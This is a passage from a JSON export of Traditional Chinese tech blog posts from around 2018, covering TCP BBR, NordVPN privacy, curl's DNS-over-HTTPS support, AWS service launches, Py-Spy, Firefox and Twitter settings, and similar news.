的問題可以看一下，不過如果是拿來寫工具的話，應該不會有什麼問題...",
    "title": "Python 3 內建的 lru_cache..."
  },
  {
    "id": "8468",
    "body": "<a href=\"https://en.wikipedia.org/wiki/TCP_congestion_control#TCP_BBR\">TCP BBR</a> 是 <a href=\"https://www.google.com/\">Google</a> 發表的 TCP congestion control 演算法，是一個純伺服器端就能夠改善 TCP 壅塞處理的機制。在 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 4.9 之後被納入了。\r\n\r\n而 <a href=\"https://www.spotify.com/\">Spotify</a> 有大量資料要傳到使用者端 (像是音檔)，剛好是 TCP BBR 改善的對象之一，實際測試後得到了很不錯的改善數據：「<a href=\"https://labs.spotify.com/2018/08/31/smoother-streaming-with-bbr/\">Smoother Streaming with BBR</a>」。\r\n\r\nSpotify 公佈的資料沒有提到平台，所以先稍微了解一下他的音質，也就是「<a href=\"https://support.spotify.com/us/article/high-quality-streaming/\">Audio settings</a>」這篇。\r\n\r\n在 Desktop 是 160kbps/320kbps Ogg (Standard/HQ)。在 Web Player 則是 128kbps/256kbps AAC (Standard/HQ)。\r\n\r\n行動平台部份比較複雜，在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上是 96kbps/160kbps/256kbps Ogg (Normal/High/Extreme)，另外有 Automatic 自動調整的設定。在 <a href=\"https://www.android.com/\">Android</a> 平台則是 24kbps HE-AACv2 (Low) 與 96kbps/160kbps/320kbps Ogg (Normal/High/Very high) 以及 Automatic。\r\n\r\n而最後 Chromecast 則是 128kbps/256kbps (Standard/Premium)。\r\n\r\n測試時可以發現 shutter (指跟不上播放速度) 的情況降低了 6%～10%，而且下載速度增加了 5%～7% (對於慢速的裝置改善更多，10%～15%)：\r\n\r\n<blockquote>Taking daily averages, stutter decreased 6-10% for the BBR group. Bandwidth increased by 10-15% for the slower download cohorts, and by 5-7% for the median. There was no difference in latency between groups.</blockquote>\r\n\r\n而各地區的差異也可以看出來改善很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Rnt4BzF.webp\" /><img src=\"https://i.gslin.com/imgur/Rnt4BzF.jpg\" alt=\"\" /></picture>\r\n\r\n另外他們在測試時，剛好遇到秘魯的機房連外發生問題，結果意外發現 BBR 還是可以穩定在這種網路環境下運作：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UWe9JhK.webp\" /><img src=\"https://i.gslin.com/imgur/UWe9JhK.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>In Peru, the non-BBR group saw a 400-500% increase in stutter. In the BBR group, stutter only increased 30-50%.\r\n\r\nIn this scenario, the BBR group had 4x bandwidth for slower downloads (the 10th percentile), 2x higher median bandwidth, and 5x less stutter!</blockquote>\r\n\r\n在 <a href=\"http://releases.ubuntu.com/18.04/\">Ubuntu 18.04</a> 上可以直接設定 BBR，在 <a href=\"http://releases.ubuntu.com/16.04/\">Ubuntu 16.04</a> 則可以參考「<a href=\"https://shazi.info/ubuntu-16-04-%E7%94%A8-speedtest-cli-%E6%B8%AC%E8%A9%A6-tcp-bbr-%E6%95%88%E8%83%BD/\">Ubuntu 16.04 用 speedtest-cli 測試 TCP BBR 效能</a>」這篇的方式升級 kernel 後設定 BBR。",
    "title": "又一個 TCP BBR 的測試結果"
  },
  {
    "id": "8469",
    "body": "最近 <a href=\"https://nordvpn.com/\">NordVPN</a> 的隱私問題被拿出來討論的蠻凶的，應該是從「<a href=\"http://vpnscam.com/is-nordvpn-a-honeypot/\">Is NordVPN a Honeypot?</a>」這篇開始的...\r\n\r\n作者一開始就有提到並不只有 NordVPN，而是整個 VPN 產業其實都有類似的情況，只是現在可以找到比較多證據可以推測 NordVPN 後面並不單純。\r\n\r\n首先是 NordVPN 買了大量評論，後來被發現是假的而被移除，而移除後的分數掉了非常多。再來是 NordVPN 居然花了五十萬美金在 CNN 的廣告上，這對於 VPN 產業的成本來說很不可思議...\r\n\r\n另外一個是 NordVPN 的母公司 <a href=\"https://tesonet.com/\">Tesonet</a> 就是做 data mining 的，「整理」各種資料拿出來賣的...\r\n\r\n基本上這類服務只能拿來翻牆用 (翻進日本或是翻進美國)，不要認為隱私性有多高... 需要隱私還是得透過其他方式降低風險 (沒辦法完全保護，只能降低)。",
    "title": "最近討論頗多的 NordVPN"
  },
  {
    "id": "8471",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有不少人會貼東西上去，算是個不錯的新聞或是消息來源，但這麼多資料要怎麼挑著看，這邊介紹三種不同更新頻率的 feed 可以訂閱。\r\n\r\n第一種是每個禮拜一篇的「<a href=\"http://n-gate.com/\">n-gate.com.  we can't both be right.</a>」，不過這個站的字型故意使用 <a href=\"https://en.wikipedia.org/wiki/Comic_Sans\">Comic Sans</a>，會需要拿個 <a href=\"https://add0n.com/stylus.html\">Stylus</a> 改一下，我是改成 <code>sans-serif</code>，就順眼多了...\r\n\r\n第二種是每天一篇的「<a href=\"http://www.daemonology.net/hn-daily/\">Daily Hacker News</a>」。\r\n\r\n第三種是官方的 feed，會一直更新，頻率最高：「<a href=\"https://news.ycombinator.com/rss\">Links for the intellectually curious, ranked by readers.</a>」。\r\n\r\n我是三個都訂起來，至少討論得很熱的會出現好幾次...",
    "title": "Hacker News 的三種 feed"
  },
  {
    "id": "8472",
    "body": "在「<a href=\"https://www.nature.com/articles/d41586-018-06178-7\">Radical open-access plan could spell end to journal subscriptions</a>」這邊看到歐洲 11 個研究機構資助者成立了「<a href=\"https://www.scienceeurope.org/coalition-s/\">cOAlition S</a>」，推動研究論文的開放存取。\r\n\r\n目標是在 2020 年開始，由這些機構所資助的研究都必須投在符合完全開放條件的平台上：\r\n\r\n<blockquote>cOAlition S signals the commitment to implement, by 1 January 2020, the necessary measures to fulfil its main principle: “<strong>By 2020 scientific publications that result from research funded by public grants provided by participating national and European research councils and funding bodies, must be published in compliant Open Access Journals or on compliant Open Access Platforms.</strong>”</blockquote>\r\n\r\n而現在大約只有 15%：\r\n\r\n<blockquote>According to a December 2017 analysis, only around 15% of journals publish work immediately as open access (see ‘Publishing models’) — financed by charging per-article fees to authors or their funders, negotiating general open-publishing contracts with funders, or through other means.</blockquote>\r\n\r\n用這種方式降低那些收錢才能下載的平台的影響力...",
    "title": "歐洲研究機構的資助者推動研究論文的開放存取"
  },
  {
    "id": "8474",
    "body": "<a href=\"https://curl.haxx.se/\">curl</a> 的維護者 <a href=\"https://daniel.haxx.se/\">Daniel Stenberg</a> 在他的 blog 上宣佈 curl 將會支援 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a>：「<a href=\"https://daniel.haxx.se/blog/2018/09/06/doh-in-curl/\">DoH in curl</a>」。\r\n\r\n從給的範例可以看出來就是多一個 <code>CURLOPT_DOH_URL</code> 可以設，對於要用的人很簡單：\r\n\r\n<pre>curl = curl_easy_init();\r\ncurl_easy_setopt(curl, CURLOPT_URL,\r\n                 \"https://curl.haxx.se/\");\r\ncurl_easy_setopt(curl, CURLOPT_DOH_URL,\r\n                 \"https://doh.example.com/\");\r\nres = curl_easy_perform(curl);</pre>",
    "title": "curl 將支援 DNS over HTTPS"
  },
  {
    "id": "8475",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2018/07/18/8411/%E9%97%9C%E9%96%89%E6%96%B0%E7%89%88-google-chrome-%E7%B6%B2%E5%9D%80%E5%88%97%E9%9B%9E%E5%A9%86%E7%9C%81%E7%95%A5-www-%E7%9A%84%E8%A1%8C%E7%82%BA/\">關閉新版 Google Chrome 網址列雞婆省略 www 的行為...</a>」提到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 把 <code>www</code> 這些常見的 subdomain 從顯示列上移除的事情。我是因為用 beta channel 所以比較快就開始抱怨，而一般使用者在這幾天 stable channel 更新後開始收到這樣的改變，於是就爆炸了：「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=881410\">Incorrect transforms when stripping subdomains</a>」。\r\n\r\n有人直接噴這是什麼鳥蛋決策 XDDD\r\n\r\n<blockquote>I actually thought Chrome was malfunctioning. This decision seems totally arbitrary. Was there any research done to justify this decision, or was it the whimsy of a PM who thought it would be a cool UX thing?</blockquote>\r\n\r\n另外有人問 <a href=\"https://www.google.com/\">Google</a> 是不是應該去開個 <a href=\"https://cve.mitre.org/\">CVE</a>，直接認定是安全性威脅... XD\r\n\r\n然後一如往常的，被打上 <code>Restrict-AddIssueComment-EditIssue</code> 不讓其他人加意見進去了... 大概不會有下文了 XD\r\n\r\n話說回來，這幾天測 <a href=\"https://firefox.com/\">Firefox</a> 發現頗吃 CPU 與 GPU 的效能 (相較於 Google Chrome)，實在換不過去...",
    "title": "Chrome 把所謂的「trivial subdomain」移除後有人爆氣了..."
  },
  {
    "id": "8476",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 <a href=\"https://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectSELECTContent.html\">S3 Select</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Apache_Parquet\">Parquet</a> 格式：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/09/amazon-s3-announces-new-features-for-s3-select/\">Amazon S3 Announces New Features for S3 Select</a>」。\r\n\r\n本來 S3 Select 就已經支援 CSV 與 JSON 格式，大多數的引擎也都可以直接吃，這次宣佈支援 JSON Arrays，以及 Parquet 格式：\r\n\r\n<blockquote>Today, Amazon S3 Select works on objects stored in CSV and JSON format. Based on customer feedback, we’re happy to announce S3 Select support for Apache Parquet format, JSON Arrays, and BZIP2 compression for CSV and JSON objects. We are also adding support for CloudWatch Metrics for S3 Select, which lets you monitor S3 Select usage for your applications.</blockquote>\r\n\r\n另外一個上面也有提到的是宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Bzip2\">bzip2</a> 格式，不知道有沒有打算支援壓縮率更好的其他格式...",
    "title": "S3 Select 宣佈支援 Parquet 與 bzip2"
  },
  {
    "id": "8477",
    "body": "這之後應該會變成 <a href=\"https://www.python.org/\">Python</a> community 的神器之一...\r\n\r\n剛剛看到分析 Python 程式效率的工具，只要有 pid 或是直接包著跑就可以分析：「<a href=\"https://github.com/benfred/py-spy\">Py-Spy: A sampling profiler for Python programs.</a>」，執行起來長這樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/0WDVXTi.gif\" alt=\"\" />\r\n\r\n而且還可以直接產生火焰圖讓開發者直接確認，超友善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tBSJLVH.webp\" /><img src=\"https://i.gslin.com/imgur/tBSJLVH.jpg\" alt=\"\" /></picture>\r\n\r\n在 FAQ 的地方也有提到作者開發這套軟體的原因。有些在開發環境根本看不出問題的，可以很快的透過這個工具在 production 上看：\r\n\r\n<blockquote>This project aims to let you profile and debug any running Python program, even if the program is serving production traffic.</blockquote>\r\n\r\n另外一個重點在於其他常見的 profiling 工具通常都要改程式引用進來使用，這通常會使得程式效率慢下來，而 <a href=\"https://github.com/uber/pyflame\">Pyflame</a> 支援的平台比較少：\r\n\r\n<blockquote>While there are many other python profiling projects, almost all of them require modifying the profiled program in some way. Usually, the profiling code runs inside of the target python process, which will slow down and change how the program operates. This means it's not generally safe to use these profilers for debugging issues in production services since they will usually have a noticeable impact on performance. The only other Python profiler that runs totally in a separate process is pyflame, which profiles remote python processes by using the ptrace system call. While pyflame is a great project, it doesn't support Python 3.7 yet and doesn't work on OSX or Windows.</blockquote>",
    "title": "用 Py-Spy 分析 Python 程式效率"
  },
  {
    "id": "8478",
    "body": "看到「<a href=\"https://www.sqlstyle.guide/\">SQL Style Guide</a>」這個網站，把 SQL 常見的行為都列出來，寫了一份規範... 每個團隊未必都要照這個規範走，可以透過他條列的項目思考，再改成自己團隊的規範。\r\n\r\n附註一下，最底下有繁體中文的翻譯版本，如果懶的看英文的版本可以看這份：「<a href=\"https://www.sqlstyle.guide/zh-tw/\">SQL樣式指南 · SQL Style Guide</a>」。",
    "title": "SQL 的設計與寫作規範"
  },
  {
    "id": "8480",
    "body": "看到「<a href=\"https://mikhail.io/2018/08/serverless-cold-start-war/\">Serverless: Cold Start War</a>」這篇分析了 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a>、<a href=\"https://azure.microsoft.com/services/functions/\">Azure Functions</a> 與 <a href=\"https://cloud.google.com/functions/\">Google Cloud Functions</a> 的冷啟動特性。\r\n\r\n裡面分析了多久沒有 request 會需要冷啟動、記憶體的大小對於冷啟動速度的影響、程式語言的影響，以及程式大小的影響。\r\n\r\n對於量很少，但是又很在意速度的人來說也許可以研究一下。不過只要有點量 (就算一分鐘只有一次) 應該都不會遇到這塊問題...",
    "title": "各家 Serverless 服務冷啟動 (Cold Start) 的時間"
  },
  {
    "id": "8481",
    "body": "這是在 <a href=\"https://bazqux.com/\">Bazqux</a> 使用時遇到的問題，我在 Bazqux 這邊看到想看的文章，會習慣用 <code>c</code> 鍵打開新的 tab，等下再一起看。在 <a href=\"https://www.google.com/chrome/\">Chrome</a> 上面需要安裝 extension 才能開到背景，在 <a href=\"https://firefox.com/\">Firefox</a> 上可以透過修改 <code>about:config</code> 裡的<code>browser.tabs.loadDivertedInBackground</code>，讓他預設開到背景 (雖然變成所有的行為都會到開到背景 tab，但我偏好這樣...)。\r\n\r\n但在 Bazqux 用 <code>c</code> 鍵把連結打開到 tab 時，有時發現會跳出遇到開啟上限：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KZRAp2K.webp\" /><img src=\"https://i.gslin.com/imgur/KZRAp2K.jpg\" alt=\"\" /></picture>\r\n\r\n這其實很不方便... 所以故意連打測試發現是 20 個，找了一下資料發現是 <code>dom.popup_maximum</code> 這個值，改成 <code>-1</code> 就好了。這算是某種安全機制吧...\r\n\r\n先繼續用看看 :o",
    "title": "修改 Firefox 的 Pop Up 限制"
  },
  {
    "id": "8485",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 1.1.1 推出了：「<a href=\"https://www.openssl.org/blog/blog/2018/09/11/release111/\">OpenSSL 1.1.1 Is Released</a>」。先前在「<a href=\"https://blog.gslin.org/archives/2017/05/08/7305/openssl-1-1-1-%e5%b0%87%e6%94%af%e6%8f%b4-tls-1-3/\">OpenSSL 1.1.1 將支援 TLS 1.3</a>」這邊有提到 OpenSSL 當時就計畫要等 TLSv1.3 出了才會釋出 1.1.1，結果這一等就是一年多...\r\n\r\n這樣後續應該會有人包 PPA 出來讓大家用了...",
    "title": "OpenSSL 1.1.1 出版，TLSv1.3！"
  },
  {
    "id": "8487",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 Shell Access，讓你可以直接操作 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上的機器，而且又符合稽核上的要求：「<a href=\"https://aws.amazon.com/blogs/aws/new-session-manager/\">New – AWS Systems Manager Session Manager for Shell Access to EC2 Instances</a>」。\r\n\r\n看起來機器上只要有 <a href=\"https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html\">ssm-agent</a> 就可以做這件事情了。在官方的圖可以看到用法：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gfQgqtB.webp\" /><img src=\"https://i.gslin.com/imgur/gfQgqtB.jpg\" alt=\"\" /></picture>\r\n\r\n另外 AWS 也在開發新的功能，一個是繞過 security group 的 SSH client：\r\n\r\n<blockquote>SSH Client – You will be able to create SSH sessions atop Session Manager without opening up any inbound ports.</blockquote>\r\n\r\n另外一個是給外部機器用的版本：\r\n\r\n<blockquote>On-Premises Access – We plan to give you the ability to access your on-premises instances (which must be running the SSM Agent) via Session Manager.</blockquote>\r\n\r\n這功能最主要還是稽核面的需求... 以前要作到這件事情會需要透過跳板之類的東西記錄使用者行為，現在 AWS 做出來後就省下這件事情。",
    "title": "AWS 推出可以直接操作機器的 Shell Access"
  },
  {
    "id": "8488",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.torproject.org/\">Tor Browser</a> 在宣傳繁體中文版，不過這篇的翻譯有點...：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">Tor 瀏覽器現支援 中國傳統的 語系了! <br><br>提供母語支援能讓使用者更方便使用，Tor 瀏覽器 8.0 不止増加了更多語系的支援，更帶來全新的用戶體驗。<br><br>立即看看: <a href=\"https://t.co/FbbCqCzSnc\">https://t.co/FbbCqCzSnc</a> <a href=\"https://t.co/iirtw60YNx\">pic.twitter.com/iirtw60YNx</a></p>&mdash; The Tor Project (@torproject) <a href=\"https://twitter.com/torproject/status/1039997225034809344?ref_src=twsrc%5Etfw\">September 12, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過這算是個里程碑啦...",
    "title": "Tor Browser 繁體中文版"
  },
  {
    "id": "8489",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Gmail\">Gmail</a> 團隊宣佈 <a href=\"https://en.wikipedia.org/wiki/Inbox_by_Gmail\">Inbox</a> 退役，比較受歡迎的功能都被 backport 回 Gmail 了：「<a href=\"https://www.blog.google/products/gmail/inbox-signing-find-your-favorite-features-new-gmail/\">Inbox is signing off. Find your favorite features in the new Gmail</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/zct4q6z.gif\" alt=\"\" />\r\n\r\n還好是 Inbox 被幹掉，不然有打算要 forward 出來自己架了...",
    "title": "Gmail 團隊宣佈 Inbox 將會被消滅..."
  },
  {
    "id": "8490",
    "body": "<a href=\"https://aws.amazon.com/polly/\">Amazon Polly</a> 是 <a href=\"https://aws.amazon.com/\">AWS</a> 的文字發音的服務，現在支援中文了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/09/amazon-polly-adds-mandarin-chinese-language-support/\">Amazon Polly Adds Mandarin Chinese Language Support</a>」。\r\n\r\n文章裡有 sample voice，跟 <a href=\"https://www.google.com/\">Google</a> 小姐比起來中國腔有點重 XDDD",
    "title": "Amazon Polly 支援中文發音了..."
  },
  {
    "id": "8491",
    "body": "<a href=\"https://www.hinet.net/\">HiNet</a> 宣佈今年年底將要關閉 Proxy 服務了，也就是 <code>proxy.hinet.net:80</code> 這組：「<a href=\"https://www.hinet.net/notifyPage.html?type=0&amp;id=165c7321406000004fc6\">HiNet Proxy 終止服務公告</a>」。\r\n\r\n現在愈來愈多網站都走 HTTPS 的情況下，Proxy 服務能帶來的好處愈來愈少了... 大概只剩下出國的優先權比較高 (因為變成機房 IP 連出國)。",
    "title": "HiNet 宣佈年底關閉 Proxy 服務"
  },
  {
    "id": "8493",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了自己的 IPFS Gateway：「<a href=\"https://blog.cloudflare.com/distributed-web-gateway/\">Cloudflare goes InterPlanetary - Introducing Cloudflare’s IPFS Gateway</a>」。\r\n\r\n<a href=\"https://ipfs.io/\">IPFS</a> 偏靜態性應用 (雖然官方一直很堅持說動態的資訊也可以在上面跑)，這就很適合 CDN 架構拿出來用... Cloudflare 出手應該可以讓 IPFS 的門檻再降低一些。\r\n\r\n相較於官方提供的 <a href=\"https://ipfs.io/\">ipfs.io</a>，Cloudflare 的應該會快不少... (畢竟是直接連到最近的機房)",
    "title": "Cloudflare 推出 IPFS Gateway"
  },
  {
    "id": "8494",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了實體伺服器版本的 <a href=\"https://aws.amazon.com/storagegateway/\">Storage Gateway</a>，以 <a href=\"https://www.dell.com/\">Dell</a> 的伺服器為底，上面安裝 AWS 的軟體：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-storage-gateway-hardware-appliance/\">New – AWS Storage Gateway Hardware Appliance</a>」。\r\n\r\n可以直接從 <a href=\"https://www.amazon.com/\">Amazon</a> 上訂：「<a href=\"https://www.amazon.com/dp/B079RBVX3M\">AWS Storage Gateway pre-loaded on a Dell EMC PowerEdge server</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zvdf4Qm.webp\" /><img src=\"https://i.gslin.com/imgur/Zvdf4Qm.jpg\" alt=\"\" /></picture>\r\n\r\n從網路界面是 <code>em{1,2,3,4}</code> 猜，裡面看起來應該不是 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 為底的系統：\r\n\r\n<img src=\"https://i.gslin.com/imgur/EUUmIVs.jpg\" alt=\"\" />\r\n\r\n對於使用虛擬機版本不夠用的使用者可以直接搬一台回去用... XD",
    "title": "AWS Storage Gateway 實體伺服器版"
  },
  {
    "id": "8495",
    "body": "<a href=\"https://github.com/\">GitHub</a> 計畫讓使用者可以用自然語言搜尋，目前還在測試階段：「<a href=\"https://githubengineering.com/towards-natural-language-semantic-code-search/\">Towards Natural Language Semantic Code Search</a>」。\r\n\r\n看起來是透過不同的 encoder，轉到 vector space 後查詢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9rWekpU.webp\" /><img src=\"https://i.gslin.com/imgur/9rWekpU.jpg\" alt=\"\" /></picture>\r\n\r\n在文章裡是拿「<code>ping REST api and return results</code>」當作範例：\r\n\r\n<img src=\"https://i.gslin.com/imgur/APtvXpz.gif\" alt=\"\" />\r\n\r\n之後找範例與用法就不用只在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上找了... (咦)",
    "title": "GitHub 在計畫讓使用者可以用自然語言搜尋..."
  },
  {
    "id": "8496",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 看到 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 提到日本區的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 與 <a href=\"https://aws.amazon.com/s3/\">S3</a> 傳輸費用降價：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">AWS Data Transfer Price Reductions - Up to 34% (Japan) and 28%( Australia) - <a href=\"https://t.co/ejk3TgIxgU\">https://t.co/ejk3TgIxgU</a> <a href=\"https://t.co/oSdAr4f76y\">pic.twitter.com/oSdAr4f76y</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1042436461990047744?ref_src=twsrc%5Etfw\">September 19, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n網站的說明文章則是在「<a href=\"https://aws.amazon.com/blogs/aws/aws-data-transfer-price-reductions-up-to-34-japan-and-28-australia/\">AWS Data Transfer Price Reductions – Up to 34% (Japan) and 28% (Australia)</a>」這邊。分成幾個部份降價：\r\n\r\n<ul>\r\n\t<li>10TB 以下的費用從 USD$0.14/GB 變成 $0.114/GB (約 19%)。</li>\r\n\t<li>10TB 到 50TB 從 USD$0.135/GB 變成 USD$0.089/GB (約 34%)。</li>\r\n\t<li>50TB 到 150TB 則是 USD$0.13/GB 變成 USD$0.086/GB (約 34%)。</li>\r\n\t<li>超過 150TB 的部份從 USD$0.12/GB 變成 USD$0.084/GB (約 30%)。</li>\r\n</ul>\r\n\r\n然後自動回朔到 2018/09/01 開始算：\r\n\r\n<blockquote>Effective September 1, 2018 we are reducing prices for data transfer from Amazon Elastic Compute Cloud (EC2), Amazon Simple Storage Service (S3), and Amazon CloudFront by up to 34% in Japan and 28% in Australia.</blockquote>\r\n\r\n另外有提到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 也有降價，以及澳洲的部份，應該不太會碰到所以就跳過去...\r\n\r\n但就文章這樣寫明 EC2 與 S3 的流量有降價，應該表示從 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 出去的流量就不算在這次的降價？除非你是直接 S3 裸奔，不然對大多數的人應該沒差？",
    "title": "AWS 日本區 EC2 與 S3 的傳輸費用降價..."
  },
  {
    "id": "8497",
    "body": "<strong>Update</strong>：官方的「Show the best Tweets first」設定已經更新了，理論上你關掉後就不會出現這些 spam：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">5/ Meanwhile, today we updated the “Show the best Tweets first” setting. When off, you’ll only see Tweets from people you follow in reverse chronological order. Previously when turned off, you’d also see “In case you missed it” and recommended Tweets from people you don’t follow.</p>&mdash; Twitter Support (@TwitterSupport) <a href=\"https://twitter.com/TwitterSupport/status/1041838957896450048?ref_src=twsrc%5Etfw\">September 17, 2018</a></blockquote>\r\n\r\n以下是原來的文章。\r\n\r\n<hr/>\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> 預設是照時間排序，但是在這幾年就加入了「你可能會感興趣的 blah blah blah」之類的官方 spam，或是把 like 的插進來。\r\n\r\n先前要幹掉這些功能頗麻煩的，我是看到就按不喜歡，然後大概就會有幾個禮拜不會出現，然後過一陣子後又冒出來...\r\n\r\n最近有人找到方法可以一勞永逸的幹掉這些功能，找資料看起來是從這篇開始的，有人發現只要 mute 一些關鍵字就可以把這些功能從 timeline 上幹掉：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Uh. Muting suggest_recycled_tweet_inline and suggest_activity_tweet actually has fixed my timeline. It&#39;s all chronological and there are barely any &quot;x and y liked&quot; tweets. <a href=\"https://t.co/Dva6LPQyLF\">pic.twitter.com/Dva6LPQyLF</a></p>&mdash; Emma ⭐ (@EmmaKinema) <a href=\"https://twitter.com/EmmaKinema/status/1041419623386644480?ref_src=twsrc%5Etfw\">September 16, 2018</a></blockquote>\r\n\r\n我找資料發現這些字其實是出現在 data attribute 上：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://t.co/YpGVnX54pi\">https://t.co/YpGVnX54pi</a>##:xpath(//div[contains(<a href=\"https://twitter.com/data?ref_src=twsrc%5Etfw\">@data</a>-component-context,&quot;suggest_ranked_timeline_tweet&quot;)]/..)</p>&mdash; 空っぽ果実（時間を巻き戻したい） (@karappo) <a href=\"https://twitter.com/karappo/status/828606114027614208?ref_src=twsrc%5Etfw\">February 6, 2017</a></blockquote>\r\n\r\n然後就有人開始翻開始整理了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Go to twitter settings, mute the following words:<br><br>suggest_ranked_timeline_tweet<br>suggest_pyle_tweet <br>suggest_activity <br>suggest_who_to_follow <br>suggest_recap <br>suggest_recycled_tweet <br>suggest_activity_tweet suggest_recycled_tweet_inline<br><br>You&#39;re back in good old twitter.</p>&mdash; Lucas Mourelle (@lucasmourelle) <a href=\"https://twitter.com/lucasmourelle/status/1042281854223757312?ref_src=twsrc%5Etfw\">September 19, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n目前看起來效果頗不錯啊，這樣連手機上都可以擋掉這些 spam，頗不賴 :o",
    "title": "幹掉 Twitter 的推薦功能"
  },
  {
    "id": "8498",
    "body": "<a href=\"http://releases.ubuntu.com/14.04/\">Ubuntu 14.04</a> 是 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 版本，在明年四月底 (也就是 2019 年四月) 將會滿五年的維護期，之後就不會有任何公開更新了 (包括安全性更新)。\r\n\r\n在前一次的 <a href=\"http://releases.ubuntu.com/12.04/\">Ubuntu 12.04</a> 是第一次提供 ESM (Extended Security Maintenance) 服務，讓沒辦法即時轉及到新版的單位可以付費繼續收到安全性更新，算是 LTS 的一個重要服務。\r\n\r\n而官方這次也對 Ubuntu 14.04 推出了 ESM：「<a href=\"https://blog.ubuntu.com/2018/09/19/extended-security-maintenance-ubuntu-14-04-trusty-tahr\">Announcing Extended Security Maintenance for Ubuntu 14.04 LTS – “Trusty Tahr”</a>」。\r\n\r\n<blockquote>Ubuntu 14.04 LTS – ESM will become available once Ubuntu 14.04 reaches its End of Life on April 30, 2019.</blockquote>\r\n\r\n價錢應該會跟之前類似吧...",
    "title": "Ubuntu 推出 14.04 的 ESM 計畫"
  },
  {
    "id": "8500",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 推出了 Parallel Query，可以加速計算速度：「<a href=\"https://aws.amazon.com/blogs/aws/new-parallel-query-for-amazon-aurora/\">New – Parallel Query for Amazon Aurora</a>」。原理是利用 Aurora 把 storage 層打散的前提，所以有機會透過螞蟻雄兵處理：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iQpoai1.webp\" /><img src=\"https://i.gslin.com/imgur/iQpoai1.jpg\" alt=\"\" /></picture>\r\n\r\n官方給的範例可以連到原文去看，可以看到有打開 <code>aurora_pq</code> 與沒打開的效能差異：\r\n\r\n<blockquote>15 rows in set (1 min 53.36 sec)\r\n15 rows in set (1 hour 25 min 51.89 sec)</blockquote>\r\n\r\n打開後大約是原來的 1/45 時間，提昇超多...\r\n\r\n不過還是有些限制，我最在意的就是目前只支援相容於 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6 的版本 (居然不是先支援 5.7)：\r\n\r\n<blockquote>Engine Support – We are launching with support for MySQL 5.6, and are working on support for MySQL 5.7 and PostgreSQL.</blockquote>\r\n\r\n然後沒有多餘費用，只是 i/o cost 可能會增加：\r\n\r\n<blockquote>Cost – You can make use of Parallel Query at no extra charge. However, because it makes direct access to storage, there is a possibility that your IO cost will increase.</blockquote>",
    "title": "Amazon Aurora 支援 Parallel Query 加速"
  },
  {
    "id": "8501",
